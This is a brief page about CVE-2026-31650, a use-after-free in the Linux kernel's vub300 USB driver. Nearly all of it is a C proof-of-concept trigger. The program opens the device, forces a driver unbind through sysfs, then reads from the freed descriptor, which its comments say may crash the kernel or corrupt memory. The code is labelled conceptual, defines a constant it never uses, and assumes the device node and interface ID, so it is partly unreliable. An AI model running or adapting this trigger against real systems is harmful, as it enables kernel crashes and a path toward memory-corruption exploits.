CVE-2026-31650 Linux内核vub300驱动释放后利用漏洞

/* * PoC for CVE-2026-31650 (Conceptual) * This PoC demonstrates the trigger condition for the use-after-free. * Requires a system with the vub300 hardware and vulnerable kernel. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define VUB300_IOCTL_MAGIC 0x92 int main() { // Step 1: Open the device to increment reference count int fd = open("/dev/vub300", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Device opened. Reference count incremented.\n"); // Step 2: Simulate the unbind operation (usually requires root or specific sysfs access) // In a real exploit scenario, race condition is triggered here. // Writing to /sys/bus/usb/drivers/vub300/unbind FILE *unbind_fp = fopen("/sys/bus/usb/drivers/vub300/unbind", "w"); if (unbind_fp) { // Assume interface ID is known fprintf(unbind_fp, "1-1:1.0"); fclose(unbind_fp); printf("Driver unbind triggered.\n"); } // Step 3: If UAF exists, accessing 'fd' now may crash the kernel // or allow memory corruption. char buffer[64]; ssize_t bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { perror("Use-after-free triggered or device gone"); } else { printf("Read %zd bytes. System may still be vulnerable or patched.\n", bytes_read); } close(fd); return 0; }